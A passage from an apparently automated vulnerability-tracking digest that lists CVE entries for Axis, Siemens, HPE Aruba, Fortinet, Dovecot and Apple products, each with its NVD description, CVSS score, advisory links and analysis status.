Vendor advisory (via NVD references): https://www.axis.com/dam/public/67/b8/75/cve-2026-0802pdf-en-US-530731.pdf
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
An ACAP configuration file lacked sufficient input validation, which could allow command injection and potentially lead to privilege escalation. This vulnerability can only be exploited if the Axis device is configured to allow the installation of unsigned ACAP applications, and if an attacker convinces the victim to install a malicious ACAP application.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### An ACAP configuration file lacked sufficient input validation, which could allow a path traversal attack leading to potential privilege escalation.
https://kevwire.com/record/CVE-2026-0804
An ACAP configuration file lacked sufficient input validation, which could allow a path traversal attack leading to potential privilege escalation. (May 12, 2026).
An ACAP configuration file lacked sufficient input validation, which could allow a path traversal attack leading to potential privilege escalation. This vulnerability can only be exploited if the Axis device is configured to allow the installation of unsigned ACAP applications, and if an attacker convinces the victim to install a malicious ACAP application.
CVSS 6.7 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-0804).
Sources:
NVD CVE-2026-0804: https://nvd.nist.gov/vuln/detail/CVE-2026-0804
Vendor advisory (via NVD references): https://www.axis.com/dam/public/51/64/ea/cve-2026-0804pdf-en-US-530732.pdf
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
An ACAP configuration file lacked sufficient input validation, which could allow a path traversal attack leading to potential privilege escalation. This vulnerability can only be exploited if the Axis device is configured to allow the installation of unsigned ACAP applications, and if an attacker convinces the victim to install a malicious ACAP application.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A configuration file on the local file system had improper input validation which could allow code execution and potentially lead to privilege escalation.
https://kevwire.com/record/CVE-2026-1185
A configuration file on the local file system had improper input validation which could allow code execution and potentially lead to privilege escalation. (May 12, 2026).
A configuration file on the local file system had improper input validation which could allow code execution and potentially lead to privilege escalation. This vulnerability can only be exploited if an attacker can log in to the Axis device using SSH.
CVSS 5.4 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-1185).
Sources:
NVD CVE-2026-1185: https://nvd.nist.gov/vuln/detail/CVE-2026-1185
Vendor advisory (via NVD references): https://www.axis.com/dam/public/69/df/8d/cve-2026-1185pdf-en-US-530733.pdf
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
A configuration file on the local file system had improper input validation which could allow code execution and potentially lead to privilege escalation. This vulnerability can only be exploited if an attacker can log in to the Axis device using SSH.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A vulnerability has been identified in SIMATIC CN 4100 (All versions < V5.0). The affected application does not properly restrict unauthenticated connections and is susceptible to...
https://kevwire.com/record/CVE-2026-22924
A vulnerability has been identified in SIMATIC CN 4100 (All versions < V5.0). The affected application does not properly restrict unauthenticated connections and is susceptible to... (May 12, 2026).
A vulnerability has been identified in SIMATIC CN 4100 (All versions < V5.0). The affected application does not properly restrict unauthenticated connections and is susceptible to resource exhaustion conditions.
This could allow an attacker to disrupt normal operations or perform unauthorized actions, potentially impacting system availability and integrity.
CVSS 8.8 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-22924).
Sources:
NVD CVE-2026-22924: https://nvd.nist.gov/vuln/detail/CVE-2026-22924
Vendor advisory (via NVD references): https://cert-portal.siemens.com/productcert/html/ssa-032379.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
A vulnerability has been identified in SIMATIC CN 4100 (All versions < V5.0). The affected application does not properly restrict unauthenticated connections and is susceptible to resource exhaustion conditions.
This could allow an attacker to disrupt normal operations or perform unauthorized actions, potentially impacting system availability and integrity.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A vulnerability in the web-based management interface of Access Points running AOS-10 and AOS-8 Instant could allow an unauthenticated remote attacker to execute arbitrary...
https://kevwire.com/record/CVE-2026-23819
A vulnerability in the web-based management interface of Access Points running AOS-10 and AOS-8 Instant could allow an unauthenticated remote attacker to execute arbitrary... (May 12, 2026).
A vulnerability in the web-based management interface of Access Points running AOS-10 and AOS-8 Instant could allow an unauthenticated remote attacker to execute arbitrary JavaScript code in a victim's browser within the same local network. Successful exploitation could allow an attacker to compromise user data and potentially manipulate device configuration settings.
CVSS 8.8 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-23819).
Sources:
NVD CVE-2026-23819: https://nvd.nist.gov/vuln/detail/CVE-2026-23819
Vendor advisory (via NVD references): https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbnw05049en_us&docLocale=en_US
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
A vulnerability in the web-based management interface of Access Points running AOS-10 and AOS-8 Instant could allow an unauthenticated remote attacker to execute arbitrary JavaScript code in a victim's browser within the same local network. Successful exploitation could allow an attacker to compromise user data and potentially manipulate device configuration settings.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A vulnerability in the command line interface of Access Points running AOS-10 and AOS-8 Instant could allow an authenticated remote attacker to execute system commands in a...
https://kevwire.com/record/CVE-2026-23820
A vulnerability in the command line interface of Access Points running AOS-10 and AOS-8 Instant could allow an authenticated remote attacker to execute system commands in a... (May 12, 2026).
A vulnerability in the command line interface of Access Points running AOS-10 and AOS-8 Instant could allow an authenticated remote attacker to execute system commands in a restricted shell environment. Successful exploitation could allow an attacker to execute arbitrary commands on the underlying operating system.
CVSS 7.2 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-23820).
Sources:
NVD CVE-2026-23820: https://nvd.nist.gov/vuln/detail/CVE-2026-23820
Vendor advisory (via NVD references): https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbnw05049en_us&docLocale=en_US
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
A vulnerability in the command line interface of Access Points running AOS-10 and AOS-8 Instant could allow an authenticated remote attacker to execute system commands in a restricted shell environment. Successful exploitation could allow an attacker to execute arbitrary commands on the underlying operating system.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A vulnerability in the configuration processing logic of Access Points running AOS-10 could allow an authenticated remote attacker to execute system commands under certain...
https://kevwire.com/record/CVE-2026-23821
A vulnerability in the configuration processing logic of Access Points running AOS-10 could allow an authenticated remote attacker to execute system commands under certain... (May 12, 2026).
A vulnerability in the configuration processing logic of Access Points running AOS-10 could allow an authenticated remote attacker to execute system commands under certain pre-existing conditions. Successful exploitation could allow an attacker to execute arbitrary commands on the underlying operating system.

Note: Access Points running AOS-8 Instant software are not affected by this vulnerability.
CVSS 7.2 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-23821).
Sources:
NVD CVE-2026-23821: https://nvd.nist.gov/vuln/detail/CVE-2026-23821
Vendor advisory (via NVD references): https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbnw05049en_us&docLocale=en_US
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
A vulnerability in the configuration processing logic of Access Points running AOS-10 could allow an authenticated remote attacker to execute system commands under certain pre-existing conditions. Successful exploitation could allow an attacker to execute arbitrary commands on the underlying operating system.

Note: Access Points running AOS-8 Instant software are not affected by this vulnerability.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A vulnerability in the command line interface of Access Points running AOS-10 could allow an authenticated remote attacker to perform command injection.
https://kevwire.com/record/CVE-2026-23823
A vulnerability in the command line interface of Access Points running AOS-10 could allow an authenticated remote attacker to perform command injection. (May 12, 2026).
A vulnerability in the command line interface of Access Points running AOS-10 could allow an authenticated remote attacker to perform command injection. Successful exploitation could allow an attacker to execute arbitrary commands on the underlying operating system.

NOTE: This vulnerability only impacts Access Points running AOS-10.7.x.x and above. AOS-10.4 AP and AOS-8 Instant software branches are not affected by this vulnerability.
CVSS 7.2 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-23823).
Sources:
NVD CVE-2026-23823: https://nvd.nist.gov/vuln/detail/CVE-2026-23823
Vendor advisory (via NVD references): https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbnw05049en_us&docLocale=en_US
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
A vulnerability in the command line interface of Access Points running AOS-10 could allow an authenticated remote attacker to perform command injection. Successful exploitation could allow an attacker to execute arbitrary commands on the underlying operating system.

NOTE: This vulnerability only impacts Access Points running AOS-10.7.x.x and above. AOS-10.4 AP and AOS-8 Instant software branches are not affected by this vulnerability.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerabilities exist in a protocol-handling component of AOS-8 and AOS-10 Operating Systems.
https://kevwire.com/record/CVE-2026-23824
Vulnerabilities exist in a protocol-handling component of AOS-8 and AOS-10 Operating Systems. (May 12, 2026).
Vulnerabilities exist in a protocol-handling component of AOS-8 and AOS-10 Operating Systems. An unauthenticated attacker could exploit these vulnerabilities by sending specially crafted network messages to the affected service.  Due to insufficient input validation, successful exploitation may terminate a critical system process, resulting in a denial-of-service condition.
CVSS 7.5 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-23824).
Sources:
NVD CVE-2026-23824: https://nvd.nist.gov/vuln/detail/CVE-2026-23824
Vendor advisory (via NVD references): https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbnw05048en_us&docLocale=en_US
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
Vulnerabilities exist in a protocol-handling component of AOS-8 and AOS-10 Operating Systems. An unauthenticated attacker could exploit these vulnerabilities by sending specially crafted network messages to the affected service.  Due to insufficient input validation, successful exploitation may terminate a critical system process, resulting in a denial-of-service condition.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerabilities exist in a protocol-handling component of AOS-8 and AOS-10 Operating Systems.
https://kevwire.com/record/CVE-2026-23825
Vulnerabilities exist in a protocol-handling component of AOS-8 and AOS-10 Operating Systems. (May 12, 2026).
Vulnerabilities exist in a protocol-handling component of AOS-8 and AOS-10 Operating Systems. An unauthenticated attacker could exploit these vulnerabilities by sending specially crafted network messages to the affected service.  Due to insufficient input validation, successful exploitation may terminate a critical system process, resulting in a denial-of-service condition.
CVSS 7.5 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-23825).
Sources:
NVD CVE-2026-23825: https://nvd.nist.gov/vuln/detail/CVE-2026-23825
Vendor advisory (via NVD references): https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbnw05048en_us&docLocale=en_US
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
Vulnerabilities exist in a protocol-handling component of AOS-8 and AOS-10 Operating Systems. An unauthenticated attacker could exploit these vulnerabilities by sending specially crafted network messages to the affected service.  Due to insufficient input validation, successful exploitation may terminate a critical system process, resulting in a denial-of-service condition.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A vulnerability in a network management service of AOS-8 Operating System could allow an unauthenticated remote attacker to exploit this vulnerability by sending specially crafted...
https://kevwire.com/record/CVE-2026-23826
A vulnerability in a network management service of AOS-8 Operating System could allow an unauthenticated remote attacker to exploit this vulnerability by sending specially crafted... (May 12, 2026).
A vulnerability in a network management service of AOS-8 Operating System could allow an unauthenticated remote attacker to exploit this vulnerability by sending specially crafted network packets to the affected device, potentially resulting in a denial-of-service condition. Successful exploitation could cause the affected service process to terminate unexpectedly, disrupting normal device operations.
CVSS 7.5 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-23826).
Sources:
NVD CVE-2026-23826: https://nvd.nist.gov/vuln/detail/CVE-2026-23826
Vendor advisory (via NVD references): https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbnw05048en_us&docLocale=en_US
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
A vulnerability in a network management service of AOS-8 Operating System could allow an unauthenticated remote attacker to exploit this vulnerability by sending specially crafted network packets to the affected device, potentially resulting in a denial-of-service condition. Successful exploitation could cause the affected service process to terminate unexpectedly, disrupting normal device operations.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A heap-based buffer overflow vulnerability exists in a Network management service of AOS-8 and AOS-10 that could allow an unauthenticated remote attacker to achieve remote code...
https://kevwire.com/record/CVE-2026-23827
A heap-based buffer overflow vulnerability exists in a Network management service of AOS-8 and AOS-10 that could allow an unauthenticated remote attacker to achieve remote code... (May 12, 2026).
A heap-based buffer overflow vulnerability exists in a Network management service of AOS-8 and AOS-10 that could allow an unauthenticated remote attacker to achieve remote code execution. Successful exploitation could allow an unauthenticated attacker to execute arbitrary code as a privileged user on the underlying operating system, potentially leading to a system compromise. Exploitation may also result in a denial-of-service (DoS) condition affecting the impacted system process.
CVSS 7.5 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-23827).
Sources:
NVD CVE-2026-23827: https://nvd.nist.gov/vuln/detail/CVE-2026-23827
Vendor advisory (via NVD references): https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbnw05048en_us&docLocale=en_US
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
A heap-based buffer overflow vulnerability exists in a Network management service of AOS-8 and AOS-10 that could allow an unauthenticated remote attacker to achieve remote code execution. Successful exploitation could allow an unauthenticated attacker to execute arbitrary code as a privileged user on the underlying operating system, potentially leading to a system compromise. Exploitation may also result in a denial-of-service (DoS) condition affecting the impacted system process.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Incorrect Authorization vulnerability in E-Kalite Software Hardware Engineering Design and Internet Services Industry and Trade Ltd.
https://kevwire.com/record/CVE-2026-2465
Incorrect Authorization vulnerability in E-Kalite Software Hardware Engineering Design and Internet Services Industry and Trade Ltd. (May 12, 2026).
Incorrect Authorization vulnerability in E-Kalite Software Hardware Engineering Design and Internet Services Industry and Trade Ltd. Co. Turboard FOR-S allows Privilege Escalation.

This issue affects Turboard FOR-S: from 7.01.2026 before 18.02.2026.
CVSS 8.8 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-2465).
Sources:
NVD CVE-2026-2465: https://nvd.nist.gov/vuln/detail/CVE-2026-2465
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
Incorrect Authorization vulnerability in E-Kalite Software Hardware Engineering Design and Internet Services Industry and Trade Ltd. Co. Turboard FOR-S allows Privilege Escalation.

This issue affects Turboard FOR-S: from 7.01.2026 before 18.02.2026.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### An improper neutralization of special elements used in an sql command ('sql injection') vulnerability in Fortinet FortiNDR 7.6.0 through 7.6.2, FortiNDR 7.4.0 through 7.4.9,...
https://kevwire.com/record/CVE-2026-25088
An improper neutralization of special elements used in an sql command ('sql injection') vulnerability in Fortinet FortiNDR 7.6.0 through 7.6.2, FortiNDR 7.4.0 through 7.4.9,... (May 12, 2026).
An improper neutralization of special elements used in an sql command ('sql injection') vulnerability in Fortinet FortiNDR 7.6.0 through 7.6.2, FortiNDR 7.4.0 through 7.4.9, FortiNDR 7.2 all versions, FortiNDR 7.1 all versions, FortiNDR 7.0 all versions may allow an authenticated attacker to execute unauthorized code or commands via  specifically crafted HTTP requests.
CVSS 5.4 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-25088).
Sources:
NVD CVE-2026-25088: https://nvd.nist.gov/vuln/detail/CVE-2026-25088
Vendor advisory (via NVD references): https://fortiguard.fortinet.com/psirt/FG-IR-26-134
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
An improper neutralization of special elements used in an sql command ('sql injection') vulnerability in Fortinet FortiNDR 7.6.0 through 7.6.2, FortiNDR 7.4.0 through 7.4.9, FortiNDR 7.2 all versions, FortiNDR 7.1 all versions, FortiNDR 7.0 all versions may allow an authenticated attacker to execute unauthorized code or commands via  specifically crafted HTTP requests.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A missing authorization vulnerability in Fortinet FortiSandbox 5.0.0 through 5.0.1, FortiSandbox 4.4.0 through 4.4.8, FortiSandbox Cloud 5.0.2 through 5.0.5, FortiSandbox PaaS...
https://kevwire.com/record/CVE-2026-26083
A missing authorization vulnerability in Fortinet FortiSandbox 5.0.0 through 5.0.1, FortiSandbox 4.4.0 through 4.4.8, FortiSandbox Cloud 5.0.2 through 5.0.5, FortiSandbox PaaS... (May 12, 2026).
A missing authorization vulnerability in Fortinet FortiSandbox 5.0.0 through 5.0.1, FortiSandbox 4.4.0 through 4.4.8, FortiSandbox Cloud 5.0.2 through 5.0.5, FortiSandbox PaaS 23.4 all versions, FortiSandbox PaaS 23.3 all versions, FortiSandbox PaaS 23.1 all versions, FortiSandbox PaaS 22.2 all versions, FortiSandbox PaaS 22.1 all versions, FortiSandbox PaaS 21.4 all versions, FortiSandbox PaaS 21.3 all versions, FortiSandbox PaaS 5.0.0 through 5.0.1, FortiSandbox PaaS 4.4.5 through 4.4.8 may allow an unauthenticated attacker to execute unauthorized code or commands via HTTP requests.
CVSS 9.8 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-26083).
Sources:
NVD CVE-2026-26083: https://nvd.nist.gov/vuln/detail/CVE-2026-26083
Vendor advisory (via NVD references): https://fortiguard.fortinet.com/psirt/FG-IR-26-136
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
A missing authorization vulnerability in Fortinet FortiSandbox 5.0.0 through 5.0.1, FortiSandbox 4.4.0 through 4.4.8, FortiSandbox Cloud 5.0.2 through 5.0.5, FortiSandbox PaaS 23.4 all versions, FortiSandbox PaaS 23.3 all versions, FortiSandbox PaaS 23.1 all versions, FortiSandbox PaaS 22.2 all versions, FortiSandbox PaaS 22.1 all versions, FortiSandbox PaaS 21.4 all versions, FortiSandbox PaaS 21.3 all versions, FortiSandbox PaaS 5.0.0 through 5.0.1, FortiSandbox PaaS 4.4.5 through 4.4.8 may allow an unauthenticated attacker to execute unauthorized code or commands via HTTP requests.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### PowerSYSTEM Center REST API endpoint for device account export allows an authenticated user with limited permissions to expose sensitive information normally restricted to...
https://kevwire.com/record/CVE-2026-26289
PowerSYSTEM Center REST API endpoint for device account export allows an authenticated user with limited permissions to expose sensitive information normally restricted to... (May 12, 2026).
PowerSYSTEM Center REST API endpoint for device account export allows an authenticated user with limited permissions to expose sensitive information normally restricted to administrative permissions only.
CVSS 8.4 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-26289).
Sources:
NVD CVE-2026-26289: https://nvd.nist.gov/vuln/detail/CVE-2026-26289
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500
PowerSYSTEM Center REST API endpoint for device account export allows an authenticated user with limited permissions to expose sensitive information normally restricted to administrative permissions only.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Affected devices do not properly restrict access to the web browser via the Control Panel when no corresponding security mechanisms are in place.
https://kevwire.com/record/CVE-2026-27662
Affected devices do not properly restrict access to the web browser via the Control Panel when no corresponding security mechanisms are in place. (May 12, 2026).
Affected devices do not properly restrict access to the web browser via the Control Panel when no corresponding security mechanisms are in place.
This could allow an unauthenticated attacker to gain unauthorized access to the web browser, potentially enabling the discovery of backdoors, performing unauthorized actions, or exploiting misconfigurations that may lead to further system compromise.
CVSS 7.0 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-27662).
Sources:
NVD CVE-2026-27662: https://nvd.nist.gov/vuln/detail/CVE-2026-27662
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
Affected devices do not properly restrict access to the web browser via the Control Panel when no corresponding security mechanisms are in place.
This could allow an unauthenticated attacker to gain unauthorized access to the web browser, potentially enabling the discovery of backdoors, performing unauthorized actions, or exploiting misconfigurations that may lead to further system compromise.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### When safe filter is used with variable expansion, all following pipelines on the same string are incorrectly interpreted as safe too, enabling unsafe data to be unescaped.
https://kevwire.com/record/CVE-2026-27851
When safe filter is used with variable expansion, all following pipelines on the same string are incorrectly interpreted as safe too, enabling unsafe data to be unescaped. (May 12, 2026).
When safe filter is used with variable expansion, all following pipelines on the same string are incorrectly interpreted as safe too, enabling unsafe data to be unescaped. This can enable SQL / LDAP injection attacks when used in authentication. Avoid using safe filter until on fixed version. No publicly available exploits are known.
CVSS 7.4 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-27851).
Sources:
NVD CVE-2026-27851: https://nvd.nist.gov/vuln/detail/CVE-2026-27851
Vendor advisory (via NVD references): https://documentation.open-xchange.com/dovecot/security/advisories/csaf/2026/oxdc-adv-2026-0002.json
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
When safe filter is used with variable expansion, all following pipelines on the same string are incorrectly interpreted as safe too, enabling unsafe data to be unescaped. This can enable SQL / LDAP injection attacks when used in authentication. Avoid using safe filter until on fixed version. No publicly available exploits are known.

NVD status: Modified. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A permissions issue was addressed with additional restrictions.
https://kevwire.com/record/CVE-2026-28840
A permissions issue was addressed with additional restrictions. (May 11, 2026).
A permissions issue was addressed with additional restrictions. This issue is fixed in macOS Sequoia 15.7.7, macOS Sonoma 14.8.7, macOS Tahoe 26.4. An app may be able to gain root privileges.
CVSS 7.8 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-28840).
Sources:
NVD CVE-2026-28840: https://nvd.nist.gov/vuln/detail/CVE-2026-28840
Vendor advisory (via NVD references): https://support.apple.com/en-us/126794
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
A permissions issue was addressed with additional restrictions. This issue is fixed in macOS Sequoia 15.7.7, macOS Sonoma 14.8.7, macOS Tahoe 26.4. An app may be able to gain root privileges.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A buffer overflow was addressed with improved bounds checking.
https://kevwire.com/record/CVE-2026-28846
A buffer overflow was addressed with improved bounds checking. (May 11, 2026).
A buffer overflow was addressed with improved bounds checking. This issue is fixed in iOS 18.7.9 and iPadOS 18.7.9, iOS 26.5 and iPadOS 26.5, macOS Sequoia 15.7.7, macOS Sonoma 14.8.7, macOS Tahoe 26.5, tvOS 26.5, visionOS 26.5, watchOS 26.5. A remote attacker may be able to cause unexpected app termination.
CVSS 7.5 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-28846).
Sources:
NVD CVE-2026-28846: https://nvd.nist.gov/vuln/detail/CVE-2026-28846
Vendor advisory (via NVD references): https://support.apple.com/en-us/127110
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
A buffer overflow was addressed with improved bounds checking. This issue is fixed in iOS 18.7.9 and iPadOS 18.7.9, iOS 26.5 and iPadOS 26.5, macOS Sequoia 15.7.7, macOS Sonoma 14.8.7, macOS Tahoe 26.5, tvOS 26.5, visionOS 26.5, watchOS 26.5. A remote attacker may be able to cause unexpected app termination.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### The issue was addressed with improved memory handling.
https://kevwire.com/record/CVE-2026-28847
The issue was addressed with improved memory handling. (May 11, 2026).
The issue was addressed with improved memory handling. This issue is fixed in Safari 26.5, iOS 18.7.9 and iPadOS 18.7.9, iOS 26.5 and iPadOS 26.5, macOS Tahoe 26.5, tvOS 26.5, visionOS 26.5, watchOS 26.5. Processing maliciously crafted web content may lead to an unexpected process crash.
CVSS 8.8 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-28847).
Sources:
NVD CVE-2026-28847: https://nvd.nist.gov/vuln/detail/CVE-2026-28847
Vendor advisory (via NVD references): https://support.apple.com/en-us/127110
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
The issue was addressed with improved memory handling. This issue is fixed in Safari 26.5, iOS 18.7.9 and iPadOS 18.7.9, iOS 26.5 and iPadOS 26.5, macOS Tahoe 26.5, tvOS 26.5, visionOS 26.5, watchOS 26.5. Processing maliciously crafted web content may lead to an unexpected process crash.

NVD status: Modified. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

